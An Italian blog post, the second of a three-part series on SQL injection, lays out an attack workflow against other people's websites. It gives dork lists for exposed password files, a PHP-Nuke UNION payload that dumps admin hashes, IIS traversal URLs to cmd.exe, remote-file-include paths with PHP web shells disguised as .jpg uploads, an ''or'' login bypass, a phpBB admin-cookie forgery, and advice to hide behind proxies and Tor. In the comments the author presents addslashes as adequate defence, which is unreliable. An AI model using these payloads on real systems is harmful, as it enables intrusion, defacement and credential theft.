
Eccoci quì…..arrivati alla seconda parte delle tre che copmpongono la nostra descrizione di quello che poi è l’ attacco di tipo SQL-Injection. Vi dico subito , e spero che l’ immagine sia di buon riferimento , che è reato introdursi all’ interno di siti e database altrui e che le pene previste sono molto severe , ed io che scrivo quest’ articolo come puro scopo didattico/informativo , non mi riterrò responsabile di nulla che possa riguardare atti immorali ed illegali che hanno preso spunto da quest’ articolo/How-To…
E dopo questo dovuto disclamer , passiamo all’ introduzione.
SQL-Injection -pt.2/3- “analisi e attacco” , è un articolo che raccoglie delle categoria importanti , che andrebbero trattate singolarmente , come quella del GoogleHacking , del Whois , e dello Scanning di rete , ma che cercherò di descrivere rapidamente per dare l’ idee più importanti e comunque vi ricordo che scriverò tutto riguardo al Whois e allo scanning al più presto. Naturalmente per arricchire l’ articolo ho inserito anche l’ iniezione di Exploit all’interno ,del resto sempre di codice si tratta , e poi nel caso si voglia fare delle prove di pentesting si possono avere più possibilità.
(Ricordo sempre che all’ interno del BOX ci sono dei manuali , degli How-To.. degli eBook , che possono aiutare bene a capire , e poi ci sono dei testi interi a riguardo, quindi chi volesse approfondire gli basta fare il download , e nel caso in cui cerchi qualcosa che non c’é , mi lasci pure un commento , ed io proverò subito a soddisfare le sue esigenze…)
Ma procediamo con brevi descrizioni per rendere almeno l’ idea , ed iniziamo con il Google haking o meglio:
come utilizzare Google , per ottenere il massimo delle informazioni utili al nostro scopo.
Come ho citato nella parte 1/3 dell’ SQL-Injection , quando noi abbiamo a che fare con un database di tipo SQL , interagiamo con lo stesso database con uno strumento che il database usa , e cioé la query, la ricerca che il DB ,(database) , effettua per ricercare appunto determinate informazioni.
Ho fatto l’ esempio dell’ingresso in un database , con il login che l’ utente effettua e che il database stesso analizza per caratterizzare l’ingresso o il rifiuto verso l’ utente che richiede l’ accesso.
Ora facciamo finta di avere a che fare con lo stessa tecnica , solo che invece di avere come interlocutore un database di tipo SQL , abbiamo il nostro motore di ricerca Google. Per ottenere delle informazioni preziose dal motore di ricerca dovremo usare delle query che vanno inserite con delle determinate stringhe per ricercare ad esempio delle directory , delle cartelle e dei file. Se noi vogliamo ottenere dei risultati particolari dal nostro motore di ricerca , dobbiamo interagire con esso con determinati comandi da inserire nella barra di “cerca” , se io ad esempio cerco una serie di risultati che possono essere dei DB che contengono ad esempio al proprio interno determinati files o determinate directory dobbiamo interagire con Google inserendo nella barra di ricerca un comando di questo tipo:
inurl:esempio
tutti i risultati che contengono nell’ url dei siti la stringa esempio , saranno visualizzati , così come saranno visualizzati tutti i risultati che conterranno ogni nostra stringa immessa.
A questo punto ci si può domandare benissimo se si possono trovare soluzioni anche diverse a riguardo , e cioé:
Noi sappiamo che su di un determinato webserver la “zona” riservata agli amministratori è la “/” , ovvero la root , e se andiamo a scrivere: Index of /root sulla barra di ricerca di Google , vediamo che i risultati non mancano , anzi! È così anche per tutte le altre informazioni di cui può necessitare una persona che lavora , oppure un semplice utente che vuole testare la sicurezza del proprio webserver , e che può ricercare il suo host tra quelli indicati , per vedere se è a rischio o meno.
queste riportate di seguito sono solo alcune delle query che possono essere utilizzate per la ricerca in rete e il test della propria rete.
*************
allinurl:admin.php site:.edu
“Index of /admin”
“Index of /root”
“Index of /password”
“Index of /” +passwd
allintitle: “index of/admin”
allintitle: restricted filetype:doc site:gov
allinurl:auth_user_file.txt
intitle:”Index of” config.php
intitle:index.of.etc
inurl:config.php dbuname dbpass
intitle:”Index of” master.passwd
intitle:”Index of” .mysql_history
intitle:”index of” trillian.ini
intitle:”Index of” spwd.db passwd -pam.conf
intitle:”Index of” pwd.db
intitle:”Index of” secring.bak
intitle:”Index of” “people.lst”
intitle:”Index of..etc” passwd
intitle:”Index of” passwd passwd.bak
intitle:index.of passlist
intitle:”Index of” .bash_history
intitle:”Index of” service.pwd
intitle:”Index of” shtml.dll
intitle:”Index of” shtml.exe
intitle:”Index of” AT-admin.cgi
intitle:”Index of” glimpse
intitle:”Index of” guestbook.cgi
intitle:”Index of” perl
intitle:”Index of” show
intitle:”Index of” index.html~
intitle:”Index of” stats.html
*************
È ovvio che se il nostro sito è tra gli elencati , dovremo testare la situazione fino in fondo, perché queste query sono sulla rete e alla portata di tutti…purtroppo anche delle persone più maleintenzionate.Dopo aver fatto , (spero in maniera sufficientemente apprezzabile) , appena qualche sempio di query per il Google Hacking passiamo ora a fare due parole su cos’é il Whois…
Il Whois , dall’ inglese chi é? , è un servizio , che viene messo a disposizione da alcuni siti intenet e che seve ad ottenere informazioni su di cose particolari , su persone , suhost , su servizi , e che consentono agli utenti di sapere cose che altrimenti sarebbero più difficoltose da reperire in motori di ricerca semplici , proprio perché i siti che forniscono il servizio di Whois si occupano solo del servizio stesso , e non di altro , e di conseguenza i risultati saranno risultati specifici.
Il servizio che noi utilizzeremo è il WHOIS di ripe.net
http://www.ripe.net/ , che in backtrack2 si trova in:
KdeStart—>backtrack—>InformationGatering—>Whois—>OnLineResource—>www.ripe.net
La terza ed ultima parte degli articoli riguardanti l’ SQL-Injection , che riguarderà tutti i tool inseriti in backtrack2 , ed il loro possibile utilizzo , conterrà anche le specifiche argomentazioni che riguardano i servizi di Whois inseriti come collegamenti nella distro stessa , i tool con i connessi comandi per utilizzare al meglio “tutti” i servizi riguardanti Google , e una buona ,(almeno spero), descrizione , per categoria , degli Scanning.
Per quanto riguarda il nostro caso l’ utilizzo riguarda il voler scoprire il sistema operativo che l’ eventuale host da attaccare usa , insieme ai servizi connessi.
Vi ho fatto un breve approccio alle stringhe del Google hacking , perché una tecnica dell’ SQL-Injection , può essere usata proprio in maniera simile…
Una famosa , (ma visto che ancora funziona , non abbastanza) , SQL-Injection , è quella rivolta ai siti in PHP-Nuke.
Cos’é il PHP-Nuke?
Il PHP-Nuke è un semplice CSM , basato logicamente sul linguaggio PHP , e che ci permette di creare siti internet con l’ apporto di script php che ci permettono , proprio come il Joomla! descritto nella parte 1/3 di questa serie di articoli , di avere il nostro sito web senza per forza dover conoscere tutto il linguaggio PHP.
Alcuni siti in PHP-Nuke , sempre parlando di quelli non ancora patchati per questa query , sono infatti vulnerabili alla seguente stringa:
p0hh0nsee%’) UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*
in che modo può essere usata questa stringa?
Questa stringa è una SQL-Injection che va usata all’ interno di motori di ricerca dei siti in PHP-Nuke.
Se un maleintenzionato , all’interno di un sito in PHP-Nuke , incolla questa stringa nel motore di ricerca interno al sito , può , (sempre se il sito non è ancora stato patchato , ma purtroppo vi assicuro che ce ne sono ancora di non patchati) , può benissimo ritrovarsi davanti ad una serie di password hashate , (criptate) , in md5 , e con il nome di chi ha messo il contributo…e cioé l’ admin , e con tutte le risorse che ci sono sulla rete , create per scopi diversi logicamente , possono subito essere tradotte in password in chiaro , e possiamo immaginare cosa può succedere se il maleintenzionato è una di quelle persone che ama porre la propria immagine gigante defacciando il sito web. Questa tecnica esplica chiaramente quella che è la SQL-Injection , che anche se i programmatori lavorano sempre di più per evitare queste igniezioni di codice maligno , non possono essere mai al sicuro al 100% , perché…ricordiamolo che nessuno , e ripeto nessuno , è mai sicuro al 100% , colui che si definisce sicuro al 100% sbaglia ……..e di grosso.
Quando andiamo in giro per la rete , e ci capita di trovare qualche sito defacciato , come è potuto accadere?
Bene , anche se ci sono moltissimi modi per fare defacing , questo appena elencato è uno di questi.
Nello scrorso articolo , abbiamo installato il Webserver Apache con il Perl , il PHP e il MySQL , tramite lo Xampp , dopodiché abbiamo seguito una guida che ci permette , volendo , di avere un sito in locale con Joomla! il CSM opensource.
Durante l’installazione , abbiamo visto che la pagina principale (ovvero la home , la pagina principale che si raggiunge quando si accede ad un determinato indirizzo) , è descritta nell’ index.php …..che viene richiamata nei siti scritti appunto in PHP , tramite ad esempio l’inidirizzo http://sitoesempio.it/index.php?
bene , questo è il file che i defacer cambiano , ponendo del codice all’ interno del file che richiama ad esempio un immagine , “hostata” su di un altro server , (con un collegamento scritto logicamente in PHP) , e messa sopra il resto del codice del file index.php , anzi , a volte purtroppo sostituendo addirittura tutto il file.
Quest’ operazione , fa in modo che coloro che visitano il sito , vedano invece della homepage , l’ immagine posta dal defacer , e che potete pensare bene voi , cosa voglia dire agli occhi di un amministratore una cosa del genere.
Come ho già detto in passato , la vera arte stà nello scoprire nuove query , per comunicarle subito agli addeti , e non prelevare queste o quelle in giro per la rete per far defacing!
La mia idea è che una persona corretta non defaccia , ma avverte l’ admin…basta.
Ovviamente , e quì mi ripeto , questo fatto è solo un esempio.
Ci sono altri modi per fare Injection di SQL , come ad esempio quello dell’ rfi , ovvero il Remote-File-Including , lo vedremo avanti.
Il nostro articolo parla in pratica di iniezioni di codice maligno all’ interno di database di tipo SQL , ma non ci sono solo i database SQL , ci sono i database Asp , oppure gli Oracle , e naturalmente tutti hanno i loso piccoli bug sfruttabili…le proprie vulnerabilità.
La soluzione che , almeno io , vedo migliore , è quella di stare sempre allerta , tenendosi aggiornati tramite il collegamento giornaliero a siti come milw0rm o SecurityReason , e sempre tramite questi siti chi vuole come admin può testare la sicurezza del proprio sistema , e della propria rete , perché cito milw0rm e SecurityReason?
Perché sono i siti dove coloro che scoprono nuovi bug , e nuovi exploit , possono inserirli e condividere con tutti la “nuova” conoscenza…. Ovviamente ce ne sono altri , ed io quì cito questi due solo perché sono quelli più famosi e completi che io conosca , ma se qualcuno leggendo quest’ articolo vuole farmene notare di nuovi , benvenga.
Per esplicare correttamente l’idea di come usare una SQL-Injection potete trovare un video , (in spagnolo ma compensibile), che chiarisce ogni dubbio a riguardo , che si trova su milw0rm
Un attacco può essere eseguito in molti modi ed è ovvio che quì io proverò a descriverne uno , per fare in modo che ognuno possa decidere se attuarlo per testare la propria rete.
Questa però sarà una descrizione generale , nel senso che cercherò di rimanere in ambito , ma non tratterà tutto di backtrack , per quanto riguarda backtrack la 3^ ed ultima parte con prove la scriverò appena possibile , in modo che tutta la serie dell’ SQL-Injection sia completa e avrò la possibilità di toccare anche altri ambiti.
Iniziamo dicendo che per effettuare un attacco bisogna crearsi una struttura di anonimato , bisogna in pratica attuare l’ attacco senza che la vittima possa risalire con qualsiasi mezzo al nostro indirizzo , altrimenti realizzeremo un attacco con recapito firma , nome e cognome , e tutto questo per chi rispetta le regole , non è un problema , ma rischieremo di effettuare un attacco falso , perché l’ utente che attacca , malintenzionato o meno , si anonimizza.
I tool per l’anonimizzazione sono vari , i più usati di sicuro sono i Proxy ed il Tor
i Proxy sono dei server che ci consentono di visitare dei siti mostrando ai siti stessi il loro indirizzo e non il nostro , sono abbastanza diffusi e ci sono molti metodi per usarli , dall’ installazione in Firefox del Proxysel o del Foxyproxy oppure passare direttamente per i proxy e dagli stessi iniziare a navigare come , un esempio può esserlo lo Spysurf. Durante un attacco non è raro che l’ attaccante possa essere “proxato” passando per 2/3 proxy. Per una lista proxy che sembra aggiornata vi rimando QUÌ e comunque inserirò a breve un file *.txt nel BOX .
Il TOR invece è un progetto che basa la sua caratteristica più o meno su quella dei proxy….solo che a differenza di proxy , che comunque offrono un servizio pubblico , il TOR è caratterizzato esclusivamente da volontari , che nel mondo si offrono per diventare appunto dei nodi TOR , e far passare per il proprio PC gli utenti che naviganoin rete e che , volendo , possono essere anch’ essi dei nodi TOR. In backtrack , lo strumento del TOR , è già inserito di default dalla prima installazione.
Quì apro una brevissima parentesi: con il TOR si dovrebbe avere a che fare sempre , e non solo quando si prende in considerazione un pentesting , è uno strumento che ci garantisce la libertà di poter navigare senza essere rintracciati , ma questo non per essere anonimi e poter fare attacchi o altre cose fuorilegge , ma per potersi garantire uno strato di anonimizzazione purtroppo semprepiù a rischio , quindi vi rimando volentiri alla pagina di informazione sul TOR. Dobbiamo però stare molto attenti a quanto scritto nella pagina di informazione e di uso sul TOR , perché un uso scorretto dello stesso TOR può recare danni , nel senso che può anche non funzionare se usato nella maniera sbagliata , quindi: diventare NODO TOR=Sì , ma usarlo bene.
Torniamo ora a noi…
Lo strumento che ci permette di effettuare altre nostre operazioni importanti che riguardano l’ attacco è l IP.
L’ indirizzo IP è costituito da quattro cifre , contraddistinte tra loro da quattro punti , ed ogni indirizzo IP è appartenente ad un determinato sistema , naturalmente inteso come macchina..PC , host.
Per trovare l’ indirizzo IP ci sono vari modi , il WHOIS è tra i più affidabili che io conosca , insieme ad alcuni tool che ci sono in backtrack , nella sezione InformationGatering. Per citarne solo un altro , in Firefox , c’è uno strumento che ogniqualvolta noi lo vogliamo , attivando questa estensione , sul puntatore del mouse apparirà l’ indirizzo IP del sito che abbiamo in pagina , per chi voglia utilizzarlo gli basta installarsi l’estensione che si chiama “HostIP.infoGeolocation”
Ora che abbiamo l’ indirizzo IP dell’ host che vogliamo attaccare , ci attiviamo per scoprire le possibili vulnerabilità sfruttabili sull’ host stesso , e lo facciamo tramite il tool che più ci garba.
Io prenderò come esempio il Superscan 3.0 , (quì su html.it una miniguida al tool , da considerare però che è in windows ma non cambia nulla) , il tool che naturalmente è inserito in backtrack2 , e che gode oltretutto di una buona interfaccia grafica. Il Superscanner è un Portscanner , cioé un programma che effettua una scansione delle porte dell’ host , di cui noi abbiamo inserito l’ IP (trovato prima con i tool che vi ho detto…) , e tra le varie opzioni , ci restituisce il nome dell’ host e le porte con relativi servizi aperti eccetera…
*******Ad esempio:
21 [Ftp => File Transfer Protocol] 220 BulletProof FTP Server ready …
22 [OpenSSH 3.1]
80 [Http => World Wide Web, HTTP]HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.1
135 [epmap => DCE endpoint resolution]
139 [Netbios-ssn => NETBIOS Session Service]
*******oppure ancora:
443 [HttpS => Secure HTTP]
443 [HttpS => Secure HTTP]
445 [Microsoft-Ds]
*********************
La tecnica di attacco , logicamente può variare secondo la situazione…secondo praticamente la porta aperta che otterremo dai risultati dei nostri tool. Ora se noi Dai dati ricevuti dal Superscanner e dal Whois , decidiamo di prendere ed usare un determinato Exploit.
Ma cos’é un Exploit?
Un Exploit è un metodo che con lo sfruttamento di un bug , di una vulnerabilità , riesca a far ottenere alla persona che ad esempio attacca un determinato sito , i privilegi di amministratore. Ci sono vari tipi di exploit , e gli stessi possono sfruttare vari tipi di bug e vulnerabilità , e nella nostra backtrack2 , i tool inseeriti per il loro sfruttamento sono vari e di ampio uso….ma questa è argomentazione della 3^ ed ultima parte di questa modesta , ma spero chiara , serie.
Ma per avere più esempi e possibilità , facciamo il caso che l’ Exploit non abbia l’ effetto desiderato perché il sito da attaccare è alla versione più recente ed il nostro exploit è vecchiotto , bisognerà quindi passare ad altre soluzioni , o meglio bisognerà pensare all’ idea di attaccare l’host su di un altro fronte …su di un altra porta , in base sempre alle informazioni ricevute dalla scansione con Superscanner e dalla ricerca con il Whois che prima abbiamo usato.
Se ad esempio è aperta sull’ host la porta 139 , sempre su milw0rm , ci sono molti exploits per sfruttare quest’ apertura , e quindi una volta individuato l’ exploit per la porta 139 , si richiama nella Shell e si invia.(quando scarichiamo un exploit da milw0rm in Shell non è possibile sapere tutto , ma se lo stesso exploit lo cerchiamo prima tramite browser e poi casomai se proprio vogliamo , lo richiamiamo tramite la Shell , possiamo avere sul sito , aprendo l’ exploit stesso delle informazioni prerziose che ci dicono come poterlo sfruttare.)
Facciamo l’ esempio di un webserver Windows2003 , e di avere aperta la porta 139 , (porta 139=NETBIOS , ovvero una porta che se aperta , e quindi che risponde , ci permette di avere un contatto con l’ host senza essere degli utenti registrati , e da quì quindi cercare degli exploits che possano sfruttarla), oppure ancora una cosa infallibile o quasi , si può pensare all’ iniezione di un exploit tramite la porta 80 IIS (Internet Information Service) .
tramite la porta 80 , si potrebbe procedere ad esempio con l’iniezione di un Exploit nel percorso , [PATH] , ad esempio:
Http://www.sitoesempio.it/scripts/..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:
Http://www.sitoesempio.it/msadc/..%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:
Http://www.sitoesempio.it/cgi-bin/..%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:
Http://www.sitoesempio.it/_vti_cnf/…%255c….c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:
Http://www.sitoesempio.it/_vti_bin/…%255c….c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:
Ora però veniamo a quello che è il metodo , secondo me , più utile per capire tutto ciò che abbiamo descritto fin’ ora ,
L’ RFI , e cioé: il Remote File Include
Per usare questa tecnica , si eseguono determinate operazioni per fare in modo appunto che si possa in qualche modo provare ad inserire nell’ host una nostra stringa , effettuare come prima la nostra Injection , e per farlo abbiamo bisogno di un “luogo” di comando ossia un terminale….una Shell , come quella che abbiamo in backtrack , (almeno come stile di uso) , ma totalmente diversa come rappresentazione , perché parliamo di Shell scritte in PHP , come la c99 oppure la c2007 oppure ancora la R57.
Queste Shell sono dei file , scritti in PHP , che ci permettono di inviare e ricevere informazioni verso degli host e quindi avere nelle nostre mani l’ arma ideale per poter interagire con il sito da attaccare , e per poter utilizzare una Shell ad esempio la c99 , dobbiamo però fare in modo che la stessa Shell si trovi su di un altro FTP.
Per fare questo quindi noi avremo bisogno di fare l’ UPload della nostra Shell , su di un determinato host , oppure ancora , utilizzarne una che si trova già su un host. Per fare l’UPload della Shell bisogna fare però in modo di cambiargli l’ estensione , ad esempio immettere l’ estensione *.jpg , altrimenti , come è logico che sia , la shell sarà eseguita dal sistema che la invia e non da quello che invece la riceve.
Una volta che si è arrivati a fare l’ UPload della Shell e si è individuati l’ exploit che ci serve per sfruttare una qualche vulnerabilità su di un determinato host , ci basta seguire le indicazioni giuste e se l’ exploit ha effetto , (gli exploits hanno sempre effetto l’ unica soluzione è aggiornare o inserire delle patch al proprio sito), possiamo trovarci direttamente davanti al pannello di controllo dell’ FTP che stiamo prendendo in considerazione nel nostro attacco.
Questi sottoelencati sono degli exploits e mi sono apparsi con qualche piccola ricerca su milw0rm , e sono degli exploits che possiamo sfruttare tramite la nostra Shell , e che sfruttano la vulnerabilità dell’ autoiniezione. Ora io è da tempo che me ne preparavo , ma vi basta seguire il collegamento che ho appena inserito per trovarli tutti.
*****************
http://www.esempio.com/[path]/includes/content/
contact_content.php?root_path=[evil_code]
http://www.esempio.com/admanagerpro/
common.php?ipath=[Evil_Script]
http://www.esempio.com/templates/deluxe/
postreply.php?templatefolder=[Evil_Script]
http://www.esempio.com/templates/default/
pm/newpm.php?templatefolder=[Evil_Script]
http://www.esempio.com/modules/Forums
/admin/index.php?phpbb_root_path=[evil_scripts]
http://www.esempio.com/modules/Forums/
admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]
http://www.esempio.com/modules/Forums/
admin/admin_board.php?phpbb_root_path=[evil_scripts]
http://www.esempio.com/modules/Forums/
admin/admin_disallow.php?phpbb_root_path=[evil_scripts]
http://www.esempio.com/modules/Forums/
admin/admin_forumauth.php?phpbb_root_path=[evil_scripts]
*****************
(Purtroppo la formattazione del blog non mi permette di scriverli in maniera molto chiara , è per questo che li ho scritti ognuno in 2 righe , ma vi ripeto che comunque sono stati presi da milw0rm.com)
Questi sono solo pochi esempi , quindi possiamo immaginare i bug presenti nella programmazione in generale , se di bug possiamo parlare , ed è quì che si può capire l’ importanza per un admin di mantenersi sempre aggiornato.
Altri esempi sempre parlando di “Injection“ , possiamo farli nel “campo” dei Guestbook , ilGuestbook è un servizio, che si offre ai visitatori di un determinato sito per poter ad esempio lasciare un commento , e che permette agli stessi utenti anche di contattare l’ admin del sito stesso. Una query per Google per ricercare i Guestbook , e ,(questa di seguito in particolare che ci rimanda al login dell’ admin), è:
inurl:guestbook/admin/login.php
Una volta effettuata la query nel motore di ricerca di Google , e si arriva al login dell’ admin di un dato sito se noi procediamo con l’ Injection di questo codice maligno [EvilCode]:
USER: ‘or ‘jr7′=’jr7′ /*
PASSWORD: anything
potremo avere , (sempre per i siti ancora vulnerabili) , i permessi dell’ amministratore del sito.
Queste di seguito sono altre query per la ricerca del login dell’ admin
****************
inurl:guestbook/admin/login.php
inurl:guestbook/admin.php
inurl:guestbook/login.php
guestbook/login.php
guestbook/admin.php
guestbook/login/admin.php
guestbook/admin/login.php
allinurl:/guestbook/login/admin.php
*****************
Un ultimo metodo che mi sento di dover scrivereper immettere in database vulnerabili delle Injection particolari , è quello della manipolazione dei Cookie. Ma vediamo ad esempio come usare questa tecnica , abbastanza remota.
Il tipo di siti che sono affetti da questa vulnerabilità , sono i siti scritti in Phpbb fino alla versione 1.0.12.
Se noi andiamo sul motore di ricerca Google , e digitiamo nella barra di ricerca Powered By Phpbb 1.0.12
Ci verranno fuori dei risultati che saranno quelli dei forum che sono ancora scritti con questa versione.
Se cerchiamo un forum , e ci rechiamo nella homepage del forum stesso , e quindi nella pagina che contiene il file index.php , vediamo che nel file di testo che contiene i Cookie del nostro browser , ad esempio il Firefox , ci sarà anche il cookie del sito che noi abbiamo appena visitato. Accanto al Cookie , abbiamo la possibilità che ci sia una stringa di questo tipo:
phpbb2mysql_data a%3A07Bma
Bne , questo sta a significare che c’é una possibilità che il forum in questione possa essere vulnerabile alla nostra Injection , come?
Nel modo più semplice che ci possa passare per la testa , e cioé sostituendo la riga a destra ,(a%3A07Bma), che è il codice GUEST che ci viene attribuito dal forum ,con una stringa come ad esempio può essere questa:
a%3A27Bs%3A1122autologinid%22
%3Bb%3A1%3A622userid%22%3A1222%227D
(l’ ho scritta in 2 righe perché altrimenti la formattazione del blog l’ avrebbe tagliata)
In questo modo ci saranno molte probabilità che il sito quando leggerà il Cookie che ci aveva installato in precedenza , ci loggherà come admin
Fortunatamente a questa tecnica hanno posto rimedio in molti.
Bene la 2^ parte delle 3 , è finita.
Spero di essere stato chiaro.
Ho trattato anche cose che con l’ SQL-Injection forse non c’entrano al 100% , ma mi sembrava doveroso , inquanto secondo me se non si simulka un attacco , almeno provando a descriverlo , non si riesca ad avere un’ idea veramente chiara di ciò che si sta leggendo.
Spero di avere il tempo necessario per scrivere la 3^ parte il prima possibile , dove inserirò i tool specifici della backtrack , e che richiameranno ovviamente tutto l’ articolo appena scritto , in modo tale da usare i tool che la backtrack2 ci mette a disposizione , ma capendo veramente il loro funzionamento , perché la backtrack può essere anche solo usata , ma se non si capisce quello che si fa , si rischia di passare per lamer-blackhat , quando invece si vuole solo imparare.
ciao a tutti e alla prossima.
11 Commenti
Commenti RSS TrackBack Identifier URI
Lascia un commento






![«Back|Track-[IT]](http://www.ethicalhacker.net/images/stories/features/root/bt3_150.jpg)



















complimenti ancora per la spiegazione..un bel 9+! ;D
se hai tempo contattami alla email che trovi in questo mex che devo parlarti di un programma malfunzionante della back track..a presto
HANKU
salve a tutti
sto sviluppando una piattaforma da zero, e ovviamente ci sono riferimenti e login vari, per ogni tipo di utenza, proprio scriptando questa parte di codice mi è venuto in mente il problema dell’injection. il rimedio che ho trovato sembra funzionare, ma siceramente parlando mi sembra troppo stupido per risolvere tutti i problemi.
il “form.html” prende la stringa e la passa con method=’post’ al “login.php” a questo punto basta usare la funzione addslashes (per l’escape) e la corrispondete stripslashes (per riottenere i valori contenuti nel db) del php. per ora sembra funzionare. backtrack non rileva nessuna falla….può essere davvero così stupido evitare le injection?
(chiedo umilmente scusa se sono andato OT, in tal caso cancellato il mess..)
ciao RaZiEl!!!
niente , l’escape tramite addslashes è , per ora , ancora molto corteggiata come “scappatoia” contro l’Injection , e che io ne sappia…..funge.
il fatto logicamente della vita eterna ad ogni injection tramite addslashes è una cosa impossibile da dire , ma , nel mio piccolissimo , non conosco injection funzionanti e che quindi riescono a saltare la funzione di addslashes.
nei database MySQL , l’ addslashes viene spesso impostato automaticamente anche tramite l’impostazione della direttiva “magic_quotes_gpc” di “php.ini” ad “ON”.
in questo modo il ‘ (oppure altro carattere pericoloso),viene automaticamente fatto succedere dallo / e l’ ingresso nel DB di caratteri pericolosi , viene praticamente vanificato , solo che dirti che il metodo potrebbe funzionare per un tempo lungo o no…. non sò…
ma sicuramente io non conosco injection in grado di superare questa sicurezza.
ciao e auguri per la tua nuova piattaforma!
grazie. gentilissimo
Bell’articolo grazie
avrei un favore da chiedere:
vorrei entrare da admin in un guestbook di un mio amico per fargli una sorpresa,
la schermata di gestione è:
http://www.NOMESITO.com/public/login.asp
qui mi chiede semplicemente:
USER:
PSW:
come faccio??
Grazie a tutti attendo fiducioso;)
non attendere per niente…
“non attendere per niente…”
perchè??
perché di questo blog nessuno mai ti darà una risposta…
forse non hai capito bene ,
è inutile che scrivi messaggi con la tua mail , tanto non li pubblichiamo.. . ..ok?
studia e lo farai da solo ciò che ti serve… …ma non aspettarti aiuti su cose simili da nessuno che frequenti questo blog.
detto questo non scrivere più messaggi del genere che non verranno nè letti nè tantomeno pubblicati.
ciao.
Ottimo! Non vedo l’ora che esce l’ultima parte
PS: ma il tool del mozilla è buono per testare la sicurezza o è una fetecchia??
Cool site, keep up the good work!~The Gman